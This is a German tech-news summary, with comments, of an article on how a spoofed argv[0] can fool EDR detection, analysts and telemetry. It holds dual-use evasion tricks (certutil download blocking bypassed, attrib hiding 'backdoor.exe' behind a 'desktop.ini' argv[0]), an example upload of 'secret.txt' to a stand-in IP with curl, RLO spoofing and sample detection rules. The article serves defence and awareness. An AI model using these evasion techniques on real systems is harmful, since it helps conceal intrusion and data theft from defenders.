9 Punkte von GN⁺ 2024-09-04 | 2 Kommentare | Auf WhatsApp teilen
  • Die Kommandozeile ist seltsam
  • Windows ist für solche Probleme besonders bekannt, aber die Art und Weise, wie die meisten Betriebssysteme die Kommandozeile implementieren, kann Sicherheitsprobleme verursachen
  • Dieser Artikel erklärt die Probleme mit der etablierten Konvention, dass das erste Kommandozeilenargument eines Prozesses, argv[0], den Namen des Prozesses repräsentiert

argv[0] ist ein Relikt der Vergangenheit

  • Wenn ein Programm startet, erhält es Kommandozeilenargumente, auf die intern zugegriffen werden kann; tatsächlich gehören sie zu den ersten Informationen, die einem Programm beim Start zur Verfügung stehen
    • Sie sind ein zentraler Mechanismus, um den Programmablauf zu verändern
  • Betrachtet man die exec-Systemaufruf-Familie, die in POSIX und DOS/Win32 übernommen wurde
    • int execv(const char *path, char *const argv[]);
    • Um diese Funktion execv aufzurufen, muss der vollständige Pfad der auszuführenden Anwendung als path und ein Vektor mit Argumenten als argv an das Programm übergeben werden; zurückgegeben wird eine Ganzzahl mit dem Statuscode
    • Laut dieser Spezifikation wird bei erfolgreicher Ausführung des Programms das Zielprogramm über int main (int argc, char *argv[]); aufgerufen
  • In allen C-Standards gilt: argc ist nicht negativ, argv[argc] ist ein Nullzeiger, und wenn argc größer als 0 ist, repräsentiert argv[0] den Namen des aufgerufenen Programms
  • Manche stellen die Notwendigkeit von argv[0] infrage
    • „Ein neuer Prozess kennt seinen eigenen Namen doch offensichtlich – warum sollte er dann als erstes Prozessargument vom aufrufenden Prozess übergeben werden?“
    • In POSIX-Umgebungen kann ein Programm über einen symbolischen Link aufgerufen werden; das hilft dem neuen Prozess zu erkennen, welche Anforderung gestellt wurde
    • Beispielsweise sind Debians shutdown und reboot auf dieselbe ausführbare Datei systemctl verlinkt und verhalten sich je nach aufgerufenem Befehl unterschiedlich
  • Das wirkt wie eine fragwürdige Designentscheidung
    • „Sollte sich ein Programm wirklich je nach eigenem Namen unterschiedlich verhalten?“
    • Aus moderner Sicht verringert das die Vorhersehbarkeit von Software und widerspricht modernen Designprinzipien
    • Aus der Perspektive der 1970er- und 1980er-Jahre lässt es sich als Versuch verstehen, Duplikation bei knappen Computerressourcen zu minimieren
    • Heute spielt Speicherplatz jedoch kaum noch eine große Rolle. Unter macOS Sonoma existieren shutdown und reboot zum Beispiel als getrennte ausführbare Dateien
    • Es ist umstritten, ob es wirklich nötig ist, zwei ähnliche Programme in einer Datei zusammenzufassen, oder ob ein Ansatz über Befehlsargumente nicht geeigneter wäre
  • Selbst wenn man dieses Prinzip akzeptiert, bleibt die Implementierung selbst diskutabel
    • Es ist fraglich, ob die Information aus argv[0] überhaupt als Teil der Prozessargumente bereitgestellt werden sollte
    • Programme, die sich auf argv[0] verlassen, können fehlschlagen, wenn der aufrufende Prozess diesen Wert nicht korrekt setzt
    • Es gibt auch Programme, die argv[0] aus sicherheitstechnischer Sicht falsch verwenden
    • Ein besserer Ansatz wäre, argv[0] als separate Funktion von task_struct oder PEB auszulagern, sodass das Betriebssystem diesen Wert verwaltet
      • Das würde konsistentes Tracking ermöglichen und den Spielraum für Manipulation verringern
  • Das Betriebssystem, das dieser Idee am nächsten kommt, ist überraschenderweise Windows
    • Windows setzt argv[0] beim Erzeugen eines neuen Prozesses im Unterschied zu anderen Mainstream-Betriebssystemen nicht direkt
    • Windows-API-Aufrufe (CreateProcess, ShellExecute) setzen argv[0] automatisch anhand des Pfads der ausführbaren Datei
    • Obwohl das die sinnvollste Implementierung zu sein scheint, gibt es auch unter Windows eine Möglichkeit, argv[0] manuell zu setzen, weil dort ebenfalls der POSIX-exec-Aufruf übernommen wurde

argv[0] wird ignoriert (meistens)

  • Unabhängig davon, wie man zur Bedeutung von argv[0] steht: In der Praxis existiert dieses Konzept und bringt Probleme mit sich
  • Beim exec-Aufruf werden die ersten beiden der oben genannten drei Bedingungen vom Betriebssystem behandelt, die letzte Bedingung in Bezug auf argv[0] jedoch nicht
  • Da der Aufrufer von exec die vollständige Kontrolle über argv hat, kann er diese Anforderung ignorieren, und weder Betriebssystem noch aufrufendes oder aufgerufenes Programm prüfen diesen Verstoß
  • Beispiele für ignoriertes argv[0]
    • Um mit echo Hello, world! auszugeben, würde man normalerweise execv("/usr/bin/echo", ["echo", "Hello, world!"]) aufrufen
    • Aber auch execv("/usr/bin/echo", ["oopsie", "Hello, world!"]) führt dazu, dass echo normal ausgeführt wird und Hello, world! ausgibt
    • Das Programm echo ignoriert argv[0] und konzentriert sich nur auf die Argumente ab argv[1]
    • Die meisten Programme verfolgen einen ähnlichen Ansatz und ignorieren argv[0]
  • Beispiele für die Manipulation von argv[0]
    • In C und in vielen Programmiersprachen und Skriptsprachen gibt es Möglichkeiten, argv[0] zu manipulieren:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Die Manipulation von argv[0] ist einfach und hat auf die Ausführung der meisten Programme keinen Einfluss. Aus Sicherheitssicht kann sie jedoch problematisch sein

argv[0] kann Abwehrmechanismen aushebeln

  • argv[0] kann genutzt werden, um Sicherheitssoftware zu täuschen. Wenn ein Angreifer ein System kompromittiert, manipuliert er das System, indem er die Befehle des Angreifers ausführt
  • Abwehrsoftware wie AV und EDR überwacht die Prozessausführung und erkennt oder blockiert bestimmte Befehle, wenn sie als schädlich eingestuft werden. Die meisten Lösungen erkennen aktiv Befehle, die Angreifer häufig verwenden
  • Beispiel: Missbrauch des Befehls certutil
    • certutil, ein standardmäßig eingebautes Kommandozeilenwerkzeug von Windows, wird häufig bei Angriffen verwendet. Nach initialem Zugriff dient es oft dazu, externe Payloads herunterzuladen
    • Microsoft Defender Antivirus blockiert die Ausführung von certutil, wenn Kommandozeilenargumente auf einen Dateidownload hindeuten. Startet man certutil jedoch mit einem Leerzeichen als argv[0], blockiert Defender dies nicht
    • Das zeigt ein Problem, das entsteht, wenn Sicherheitsdetektion den Programmnamen als Teil der Kommandozeile behandelt. Wenn die Erkennungslogik etwa command_line.contains('certutil') AND command_line.contains('-urlcache') lautet, setzt sie voraus, dass certutil Teil der Kommandozeile ist. Durch Manipulation von argv[0] kann diese Logik jedoch umgangen werden
    • Eine wirksamere Erkennungslogik wäre etwa process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Umgehung von Erkennungslogik über argv[0]
    • Die Umgehung ist auch möglich, indem man Tuning-Schlüsselwörter zu argv[0] hinzufügt. Erkennungsregeln kombinieren oft eine Grundbedingung mit Zusatzbedingungen, um False Positives herauszufiltern
    • So könnte etwa eine Regel auslösen, wenn attrib.exe Dateien versteckt. In der Praxis wird es jedoch oft legitim für die Datei desktop.ini ausgeführt
    • Ein Angreifer kann dieses Wissen nutzen und desktop.ini in argv[0] einbauen, um die Erkennung zu umgehen, etwa mit argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

Mit argv[0] lässt sich täuschen

  • argv[0] kann nicht nur Sicherheitssoftware, sondern auch Menschen täuschen
  • Sicherheitsanalysten prüfen Warnmeldungen, die von Tools wie EDR-Software erzeugt werden; diese enthalten die Kommandozeile des betreffenden Prozesses
  • Die Kommandozeile eines Prozesses ist eine wichtige Information, anhand derer Analysten entscheiden, ob sie einen Alarm weiter untersuchen oder ignorieren
  • Beispiel: Täuschung in der Kommandozeile
    • Eine Warnung wegen möglicher Datenexfiltration kann ausgelöst werden, wenn der Befehl curl -T secret.txt 123.45.67.89 ausgeführt wird. Dieser lädt die Datei secret.txt an die IP-Adresse 123.45.67.89 hoch
    • Ändert man im selben Szenario argv[0] von curl zu curl localhost | grep, bleibt das weiterhin ein gültiger Befehl
    • Sicherheitssoftware stellt das Kommandozeilenarray oft als durch Leerzeichen getrennte Zeichenkette dar, sodass der Befehl in diesem Fall wahrscheinlich als curl localhost | grep -T secret.txt 123.45.67.89 angezeigt wird
    • Aus Sicht des Analysten könnte es so wirken, als würde curl localhost ausgeführt und das Ergebnis an grep -T secret.txt 123.45.67.89 weitergereicht. Tatsächlich werden aber Daten an eine entfernte Adresse hochgeladen, obwohl es so aussieht, als würde von einer lokalen Adresse heruntergeladen
  • Einsatz des Right-To-Left Override (RLO)-Zeichens
    • Das berüchtigte RLO-Zeichen (Right-To-Left Override) kann verwendet werden, um argv[0] zu manipulieren
    • Dieses Unicode-Zeichen weist die darstellende Anwendung an, die folgenden Zeichen in umgekehrter Reihenfolge anzuzeigen
    • Fügt man RLO in argv[0] ein, kann ping moc.elgoog.some-evil-website.com wie ping moc.etisbew-live-emos.google.com aussehen
    • Diese Methode beeinflusst die Erkennungslogik nicht, kann aber Analysten täuschen
  • Solche Techniken zeigen verschiedene Wege, wie argv[0] manipuliert werden kann, um durch Täuschung von Sicherheitssoftware und menschlicher Wahrnehmung bösartige Aktivitäten zu verbergen

argv[0] kann Telemetrie beschädigen

  • Da argv[0] ganz am Anfang der Kommandozeile steht, kann ein ausreichend langer argv[0]-Wert alle anderen Argumente ans Ende der Kommandozeile verdrängen
  • Das ist aus zwei Gründen problematisch: Erstens lassen sich interessante Teile ans Ende der Kommandozeile „verstecken“, sodass Analysten womöglich nicht dorthin scrollen. Zweitens, und noch wichtiger, kann die gesamte Kommandozeile so lang werden, dass Monitoring-Software die tatsächlich wichtigen Argumente abschneidet
  • Begrenzungen der Kommandozeilenlänge
    • Seit Windows 7 ist die maximale Länge einer Kommandozeile unter Windows auf 14.336 Zeichen (etwa 14 KiB) begrenzt
    • Im Linux-Kernel ist die Maximallänge fest auf 32 Seitengrößen kodiert, auf 64-Bit-Architekturen also etwa 131.072 Zeichen (128 KiB)
    • macOS Sonoma erlaubt Kommandozeilen mit bis zu 1.048.576 Zeichen (1 MiB)
    • Das bedeutet, dass argv[0] extrem viel beliebigen Platz einnehmen kann
  • Beispiele für beschädigte Telemetrie
    • Prozess-Monitoring-Software wie EDR kann lange Kommandozeilen vollständig protokollieren oder zur Reduzierung des Overheads auf eine feste Länge kürzen
    • Werden lange Kommandozeilen vollständig geloggt, kann man allein durch das Starten von 1.000 Prozessen mit maximaler Kommandozeilenlänge 1 GiB an Logdaten erzeugen
    • Wenn hingegen gekürzt wird, können Kommandozeilenargumente in der Telemetrie abgeschnitten werden. Der Befehl perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' gibt zum Beispiel „Hello, world!“ aus, während in der Telemetrie nur Unterstriche aufgezeichnet werden oder in manchen Fällen sogar eine vollständig leere Kommandozeile erscheint
    • Dadurch fehlen die tatsächlich wichtigen Kommandozeilenargumente, und sowohl Erkennungslogik als auch Analysten können nicht mehr nachvollziehen, was wirklich passiert ist

Die Risiken von argv[0]: Prävention und Erkennung

  • argv[0] löst ein Problem und verursacht dabei viele andere
  • Es ist unwahrscheinlich, dass argv[0] in absehbarer Zeit verschwindet, daher sollte der Fokus aus Sicherheitssicht darauf liegen, wie man damit umgeht
  • Präventionsmaßnahmen
    • Softwareentwickler können prüfen, ob argv[0] mit dem eigenen Dateinamen übereinstimmt, um Manipulation zu erkennen, aber das skaliert schlecht
    • Das Betriebssystem könnte diese Prüfung zuverlässiger durchführen. Sich auf argv[0] zu verlassen, um den Programmfluss zu ändern, ist dringend nicht zu empfehlen
    • Entwickler sollten möglichst gar nicht mit argv[0] interagieren
  • Erkennungsmethoden für Sicherheitsverantwortliche
    • Sich der Funktionsweise und Probleme von argv[0] bewusst zu sein, ist ein wichtiger Schritt, um Täuschungen in Kommandozeilen zu verhindern
    • Wenn Sicherheitssoftware Kommandozeilenargumente als Array bereitstellt, lassen sich bestimmte Muster zuverlässig identifizieren
    • Übermäßig lange argv[0]-Werte oder Werte mit verdächtigen Zeichen wie Pipes sollten sofort als verdächtig markiert werden
    • Selbst wenn Kommandozeilenargumente als Zeichenkette vorliegen, kann man Kommandozeilen markieren, in denen der Programmname fehlt. Das deutet auf ein manipuliertes argv[0] hin
    • Schon das Vorhandensein von RLO-Zeichen ist in den meisten Umgebungen eine sehr effektive Erkennungsmethode
    • Bei gekürzten Kommandozeilenargumenten sollte man verstehen, wie Sicherheitslösungen und Data Lakes damit umgehen und welche Auswirkungen das auf die erzeugte Telemetrie hat
  • Verbesserungen für Abwehrsoftware
    • Abwehrsoftware sollte die Erkennung von Missbrauch von argv[0] verbessern. Es sollte möglich sein, die Ausführung von Software mit verdächtigen argv[0]-Werten zu blockieren, ohne False Positives zu erzeugen
    • EDR-Plattformen sollten außerdem erwägen, argv[0] beim Reporting von Kommandozeilenargumenten auszuschließen. Das würde die meisten in diesem Artikel hervorgehobenen Probleme beseitigen, während der forensische Wert in den meisten Fällen gering ist
  • Letztlich möchte niemand wegen argv[0] Kopfzerbrechen haben. Unsere Software auch nicht

Zusammenfassung von GN⁺

  • argv[0] ist ein Relikt der Vergangenheit und widerspricht modernen Prinzipien des Softwaredesigns
  • Die meisten Programme ignorieren argv[0], doch es kann Sicherheitsprobleme verursachen
  • argv[0] kann Sicherheitssoftware und Menschen täuschen sowie Telemetrie beschädigen
  • Sicherheitsverantwortliche sollten den Missbrauch von argv[0] erkennen, und Abwehrsoftware sollte besser damit umgehen

2 Kommentare

 
scari 2024-09-05

Vielleicht liegt es daran, dass ich schon zur älteren Generation gehöre … aber ich kann der Behauptung des Autors nicht besonders viel abgewinnen. Das Problem ist exec, aber es wirkt so, als würde der Ärger auf argv[0] abgewälzt.

 
GN⁺ 2024-09-04
Hacker-News-Kommentar
  • Die Einwände gegen das Lesen von argv[0] erfordern entweder Unwissen des Autors oder sehr starke Verteidigung

    • Es stellt sich die Frage, wie busybox auf einer OpenWrt-Box mit einem 16-MB-Root-Dateisystem funktionieren soll
    • Eine Diskussion darüber, die Verwendung des Werts argv[0] einzuschränken, ist erwägenswert
    • Angreifer können Sicherheitsmaßnahmen weiterhin umgehen
  • argv[0] wird als Ziel für symbolische Links von Hunderten von Befehlen verwendet

    • Android nutzt dies für die meisten gängigen Shell-Befehle
    • Toybox und busybox sind Beispiele dafür
  • Mit Tools, die argv[0] verwenden, lassen sich innerhalb eines Containers Host-Befehle ausführen

    • Beispiel: Ein flatpak-Befehl kann so konfiguriert werden, dass er auf dem Host ausgeführt wird
  • Es ist kein Problem, wenn sich Programme je nach Namen unterschiedlich verhalten

    • Den Programmnamen in die Aufrufargumente aufzunehmen, ist sehr nützlich
  • Die Einwände gegen argv[0] beruhen auf der Behauptung, es widerspreche modernen Designprinzipien

    • Wenn Symlinks vorhanden sind, ist es vernünftig, dass ein Programm weiß, wie es aufgerufen wurde
    • Python verwendet argv[0], um zu prüfen, ob es sich innerhalb einer virtualenv befindet, und passt den Suchpfad an
  • argv[0] ist aus Sicherheitssicht nicht besonders schlecht

    • Es ist besser, Sicherheitssoftware so zu ändern, dass sie argv-Werte korrekt quoted
  • Mit argv[0] ist alles in Ordnung

    • Die meisten Menschen verwenden argv[0], um Befehlsversionen zu unterscheiden
  • busybox verwendet argv[0] im "Shim"-Modus

    • Bei Sicherheitsproblemen ist es wichtiger, tiefere Sicherheitsmechanismen wie SELinux zu verwenden
  • macOS richtet mehrere Befehle so ein, dass sie auf eine einzelne ausführbare Datei zeigen

    • Durch die Verwendung von argv[0] werden die CLI-Bedienbarkeit verbessert und Codeduplikate reduziert
  • Wenn argv[0] entfernt wird, gehen nützliche Funktionen verloren

    • Netzwerksicherheit sollte im Netzwerk behandelt werden
    • Selbst wenn argv[0] entfernt wird, werden Angreifer andere Wege finden